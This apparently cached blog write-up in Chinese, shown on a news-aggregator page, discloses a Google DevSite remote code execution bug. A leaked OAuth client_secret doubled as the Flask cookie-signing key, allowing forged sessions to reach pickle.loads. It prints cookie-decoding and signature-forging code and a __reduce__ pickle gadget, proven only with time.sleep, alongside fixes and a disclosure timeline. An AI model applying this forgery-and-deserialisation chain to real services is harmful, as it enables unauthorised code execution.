在 Google 发现一个价值 9 万美元的远程代码执行漏洞

Lobsters Hottest 新闻

摘要

研究者分享了在 Google 开发者文档站点发现的 9 万美元远程代码执行漏洞:Flask 会话 cookie 中 pickle 序列化的 OAuth flow 对象泄露了 client_secret,而该 secret 同时又是会话签名密钥,攻击者可伪造 cookie 并通过 pickle.loads 实现 RCE。

<p><a href="https://lobste.rs/s/mldt0o/finding_90_000_remote_code_execution">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/10/12 15:47

# 我是如何在 Google 上发现一个价值 $90,000 的远程代码执行漏洞的 Source: https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce ## 发现过程 我在梳理 Google 开发者文档站点共用的 OAuth 流程。访问 `/oauth2authorize` 后,服务端会设置一个 Flask session cookie,然后重定向到 Google 登录页。无需登录账号即可触发: ``` curl -s -D headers.txt -o /dev/null \ 'https://developers.google.com/oauth2authorize?return_url=%2F' ``` 吸引我注意的是这个 cookie。标准的 Flask 三段式 `session=...`,但长度约 1,200 字节——远超一个 CSRF token 和返回 URL 所需的大小。于是我决定解码看看。 Flask 的 session cookie 只做了签名,没有加密,因此任何持有该 cookie 的人都能直接看到内容。开头的点号表示载荷经过了 zlib 压缩: ```python import base64 import json import pickletools import zlib payload, timestamp, signature = cookie.rsplit(".", 2) def b64decode(value): return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)) compressed = payload.startswith(".") raw = b64decode(payload[1:] if compressed else payload) session = json.loads(zlib.decompress(raw) if compressed else raw) ``` 解码后得到了: ```python { "_permanent": true, "google_oauth2_csrf_token": "...", "google_oauth2_flow_": { b"": "..." } } ``` `b""` 这个键是 Flask 用来标记 bytes 值的。对其做 Base64 解码后,我得到了一个 pickle 对象,`pickletools.dis` 输出显示这是一个 `oauth2client.client.OAuth2WebServerFlow` 对象及其字段: ```python client_id = ".apps.googleusercontent.com" client_secret = b"" ``` cookie 中包含一个 pickle 序列化的载荷,这本身就已经很糟糕了。更严重的是,它还以明文形式携带了 Google 的 OAuth `client_id` 和 `client_secret`。(此处的 secret 已做脱敏;撰写本文时该 secret 仍然有效。) 我尝试用这个 client secret 作为 Flask 的 `SECRET_KEY`,发现签发的 cookie 签名确实能通过验证。也就是说,签名密钥就存储在它所签名的对象内部。 ## 一个密钥,两种用途 client secret 泄露在 cookie 中本身就是一个独立的问题。但真正关键的是:同一个值还能用来验证签名。我没有靠猜测,而是严格验证了这一点。 Flask 通过 `itsdangerous` 使用 `cookie-session` 密钥派生来签名,因此我在本地重新计算了签名: ```python import hmac derived_key = hmac.digest(client_secret, b"cookie-session", "sha1") expected = hmac.digest( derived_key, f"{payload}.{timestamp}".encode(), "sha1", ) ``` `expected` 的结果与 cookie 上的签名逐字节一致。为了排除偶然,我改动了签名中的一个字符(被拒绝),又用恢复的密钥重新签名了原始载荷(被接受)。Session 完整性已被彻底破坏。我可以设置 session 中的任意键值对,并生成服务端会接受的签名。 ## 从伪造 cookie 到代码执行 回调流程从 session 中读取 flow 对象并执行反序列化: ``` session cookie -> verify Flask signature -> read google_oauth2_flow_ -> base64-decode the bytes -> pickle.loads(...) ``` 这个 `pickle.loads` 只有在没有人能伪造合法 cookie 的前提下才是"安全"的。一旦签名密钥公开,这个假设就不复存在。 我构造了自己的 session,使用一个随意编造的 CSRF token,并在对应的 flow 键下放置任意 pickle 载荷: ```python session = { "_permanent": True, "google_oauth2_csrf_token": "attacker-chosen", "google_oauth2_flow_attacker-chosen": { b"": base64.b64encode(attacker_blob).decode() }, } ``` `state` 参数也由我控制,因此服务端不需要任何前置条件来匹配。服务端验证签名,找到我的 flow 条目,然后将 bytes 传给 `pickle.loads`。 如果你不熟悉 pickle:`REDUCE` 操作码会指定一个可调用对象及其参数,反序列化时直接调用它。公开的签名密钥加上这个注入点,就是未认证的 RCE。 我不会在 Google 的生产环境上执行任意命令,所以我用时间来证明漏洞的存在。载荷缩减为 `time.sleep(N)`: ```python class Sleep: def __init__(self, seconds): self.seconds = seconds def __reduce__(self): return (time.sleep, (self.seconds,)) ``` 每次使用相同的伪造 session,仅改变数字: ``` time.sleep(0) -> 0.207 s time.sleep(3) -> 3.193 s time.sleep(5) -> 5.194 s time.sleep(8) -> 8.283 s ``` 响应时间精确跟随 pickle 中的数字变化,这只有在服务端导入了 `time` 模块并真正调用了 `sleep(N)` 时才可能发生。 接着进行了对照测试,以排除端点本身响应慢或存在随机抖动的可能: - 不带 cookie:`Invalid request` - 签名中翻转一个字节:`Invalid request` - 签名合法但没有 flow 条目:`Invalid request state` - 签名合法且使用真实 flow:到达 Google 的 token 交换环节,随后因我伪造的授权码报 `invalid_grant` 失败 - 签名合法且使用 sleep 载荷:延迟恰好等于我指定的数字 ## 影响范围 这不是单一应用的问题,而是共用的 DevSite 平台的问题。来自 `developers.google.com` 的密钥可以在以下站点签发有效 session: - `firebase.google.com` - `developer.android.com` - `source.android.com` - `docs.partner.android.com` ## 修复方案 需要修复四个问题,它们层层叠加: 1. 轮换所有已泄露的 OAuth client secret,并作废所有用它们签名的 session。 2. 为每个部署实例配置独立的高熵 Flask `SECRET_KEY`,从服务端存储中读取,且与 OAuth 凭据完全无关。 3. 将 OAuth flow 对象保留在服务端。cookie 中只应保存一个不透明的引用标识,不包含任何敏感信息。 4. 对任何跨越客户端边界的数据,放弃使用 `pickle`。使用仅包含数据的格式并加上 schema 校验,可以让伪造的 cookie 变为无效载荷。 上述四点中任意一个都足以阻断攻击链。然而四个问题同时存在——这就是两次 GET 请求最终能在 Google 服务器上执行代码的原因。 ## 时间线 1. 2026 年 8 月 6 日 · 22:48 提交报告 2. 2026 年 8 月 7 日 · 08:12 进入分诊 3. 2026 年 8 月 7 日 · 16:23 报告被接受 4. 2026 年 8 月 27 日 确定奖励:$90,000 — Normal Google Applications (T2), S0 RCE:$75,000 基础奖励 × 1.2(因报告质量卓越) 5. 2026 年 10 月 7 日 · 15:20 修复完成 感谢 Google Bug Hunters 团队和 DevSite 工程师对问题的调查与修复。

相似文章

GitLab 远程代码执行漏洞 - 整数溢出问题

Hacker News Top

GitLab 发布关键补丁版本,修复 CVSS 10.0 的未认证远程代码执行漏洞(CVE-2026-110264),该漏洞源于正则表达式编译器中的整数溢出,影响 7.0 至 19.5 的多个版本。